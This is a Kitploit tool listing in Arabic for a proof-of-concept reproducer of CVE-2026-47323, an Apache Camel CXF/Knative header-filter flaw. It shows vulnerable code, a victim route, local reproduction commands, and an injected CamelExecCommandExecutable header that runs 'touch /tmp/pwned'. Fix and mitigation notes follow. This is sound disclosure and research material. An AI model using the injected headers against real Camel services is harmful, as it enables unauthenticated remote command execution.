Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-47323 — أداة إعادة إنتاج لـ CVE-2026-47323: نقص التصفية الواردة في Apache Camel CXF/Knative HeaderFilterStrategy، مما يتيح حقن رأس التحكم في Camel (RCE عبر camel-exec) عبر نقاط النهاية CXF-RS/CXF-SOAP/Knative (تم الإصلاح في الإصدارات 4.14.6/4.18.2/4.19.0) | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-47323
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHuboscerd/cve-2026-47323

CVE-2026-47323

أداة إعادة إنتاج لـ CVE-2026-47323: نقص التصفية الواردة في Apache Camel CXF/Knative HeaderFilterStrategy، مما يتيح حقن رأس التحكم في Camel (RCE عبر camel-exec) عبر نقاط النهاية CXF-RS/CXF-SOAP/Knative (تم الإصلاح في الإصدارات 4.14.6/4.18.2/4.19.0)

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مُستنسِخ حقن الرأس في camel-cxf-rest / camel-cxf / camel-knative-http (CVE-2026-47323)

يُظهر هذا المشروع حقن رؤوس الرسائل في استراتيجيات تصفية رؤوس HTTP الخاصة بـ Apache Camel CXF و Knative، والمُتتبَّعة تحت CVE-2026-47323. CxfRsHeaderFilterStrategy (camel-cxf-rest) و CxfHeaderFilterStrategy (camel-cxf-transport) و KnativeHttpHeaderFilterStrategy (camel-knative-http) تقوم بتصفية الرؤوس الداخلية لـ Camel الصادرة فقط (setOutFilterStartsWith)، بينما لا تُهيئ التصفية الواردة (setInFilterStartsWith). ونتيجةً لذلك، يمكن لمهاجم غير مُوثَّق حقن رؤوس داخلية لـ Camel (مثل CamelExecCommandExecutable, CamelFileName) عبر طلبات HTTP إلى نقاط نهاية CXF-RS أو CXF-SOAP. عندما يُمرِّر مسار (route) الرسائل من نقاط النهاية هذه إلى مُنتِجات (producers) تعتمد على الرؤوس مثل camel-exec أو camel-file، فإن الرؤوس المحقونة تتجاوز القيم المُهيَّأة — مما يتيح تنفيذ تعليمات برمجية عن بُعد أو كتابة ملفات عشوائية.

يستخدم هذا الإثبات (PoC) سطح CXF-RS (JAX-RS): حيث يُحوِّل حقن CamelExecCommandExecutable أمر echo غير ضار إلى تنفيذ أمر عشوائي.

إشعار: https://camel.apache.org/security/CVE-2026-47323.html

ملخص الثغرة

هذا المُستنسِخ يُثبِّت camel 4.18.1 — آخر إصدار مُتأثر في خط 4.18.x (تم تطبيق الإصلاح في 4.18.2). نفس النمط كما في camel-undertow (CVE-2025-30177)، ومرشح الرأس الوارد الأوسع (CVE-2025-27636, CVE-2025-29891)، والاستراتيجيات غير HTTP (CVE-2026-40453).

التفاصيل الفنية

root@kitploit:~
// CxfRsHeaderFilterStrategy.initialize() (المُتأثر 4.18.1) — تم تكوين مرشح الصادر فقط:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (لا يوجد setInFilterStartsWith(...)، لذا لا يتم تصفية الرؤوس الواردة Camel*)

// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — يتم نسخ رؤوس HTTP الواردة عبر الاستراتيجية:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
    if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
            || entry.getValue().isEmpty()) {
        // تم الإسقاط — ولكن بدون مرشح وارد، لا يتم إسقاط CamelExecCommandExecutable
    } else {
        camelMessage.setHeader(entry.getKey(), entry.getValue().get(0));   // <-- الرأس المحقون يصل إلى هنا
    }
}

الإصلاح (4.14.6 / 4.18.2 / 4.19.0) يُضيف setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) إلى هذه الاستراتيجيات، لذلك يتم إسقاط الرؤوس الواردة Camel* / camel*.

المسار الضعيف (victim route)

root@kitploit:~
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
    .to("exec:echo?args=hello")          // أمر المؤلف الثابت غير الضار
    .setBody(constant("ok\n"));

نقطة نهاية JAX-RS (GET /service/api/ping) يتم توجيه طلباتها إلى أمر shell ثابت. يُكرِّم مُنتِج camel-exec الرأس الوارد CamelExecCommandExecutable على حساب الأمر echo المُهيَّأ.

هيكل المستودع

كل شيء يعمل في تطبيق واحد مستقل: نقطة نهاية CXF-RS، ومُنتِج camel-exec، ومُحرِّك المهاجم.

root@kitploit:~
CVE-2026-47323/
├── pom.xml                 # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml      # خدمة واحدة مستقلة
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── ApiResource.java        # واجهة JAX-RS: GET /api/ping
    │   ├── VictimRoute.java        # مستهلك cxfrs -> exec:echo
    │   └── ExploitController.java  # المهاجم: GET /ping مع رؤوس CamelExec* محقونة
    └── resources/
        └── application.properties

المتطلبات المسبقة

  • Java 17+ و Maven 3.8+
  • Docker (اختياري، للتشغيل داخل حاوية)

خطوات إعادة الإنتاج

الخيار A — Docker (موصى به)

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned      # تم إنشاؤه بواسطة الأمر المحقون
docker compose down

الخيار B — تشغيل jar مباشرةً

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned

المخرجات المتوقعة

root@kitploit:~
marker before: false

=== 1) طلب شرعي (بدون رؤوس محقونة) ===
  response: ok
  marker created: false

=== 2) حقن CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
  response: ok
  marker created: true

>>> إثبات حقن الرأس / RCE — عميل HTTP غير مُوثَّق جعل المسار ينفذ أمرًا عشوائيًا
>>> عن طريق حقن رؤوس CamelExec* في طلب CXF-RS (touch /tmp/pwned): true

سيناريوهات الهجوم

أي مسار يُمرِّر الرسائل من نقطة نهاية CXF-RS أو CXF-SOAP أو Knative-HTTP إلى مُنتِج يعتمد على الرؤوس. بالإضافة إلى CamelExecCommandExecutable (RCE عبر camel-exec)، يتيح CamelFileName كتابة ملفات عشوائية عبر camel-file، ويمكن لرؤوس التحكم الأخرى Camel* توجيه مُنتِجين آخرين.

الإصلاح الموصى به

الترقية إلى 4.14.6 / 4.18.2 / 4.19.0. ستُهيِّئ الاستراتيجيات المُتأثرة بعد ذلك setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH)، مما يُسقط الرؤوس الواردة Camel*.

التخفيف

إلى أن يتم الترقية، قم بإزالة رؤوس تحكم Camel من الرسائل الواردة قبل أي مُنتِج في المصب (.removeHeaders("Camel*") و .removeHeaders("camel*") في بداية المسار)، واطلب المصادقة على نقطة نهاية CXF / Knative.

إخلاء مسؤولية

هذا المُستنسِخ مُقدم لأغراض البحث الأمني والاختبار المُصرَّح به فقط، لثغرة مُعلنة ومُصحَّحة. لا تستخدمه ضد أنظمة دون إذن صريح.

تنزيل الأداة
الخاصيةالقيمة
المكونcamel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy), camel-knative-http (KnativeHttpHeaderFilterStrategy)
CWECWE-20: التحقق غير السليم من المُدخلات
التأثيرحقن رؤوس تحكم Camel عبر طلب HTTP → تجاوز مُنتِج يعتمد على الرؤوس في المصب → RCE (camel-exec) أو كتابة ملف عشوائي (camel-file)
المتطلبات المسبقةنقطة نهاية CXF-RS / CXF-SOAP / Knative تُمرِّر إلى مُنتِج يعتمد على الرؤوس؛ غير مُوثَّقة إذا كانت نقطة النهاية غير مُوثَّقة
الإصدارات المتأثرةمن 3.18.0 قبل 4.14.6، من 4.15.0 قبل 4.18.2، 4.19.0 (تم الإصلاح في 4.19.0)
الإصدارات المُصحَّحة4.14.6, 4.18.2, 4.19.0
الفضلQuac Tran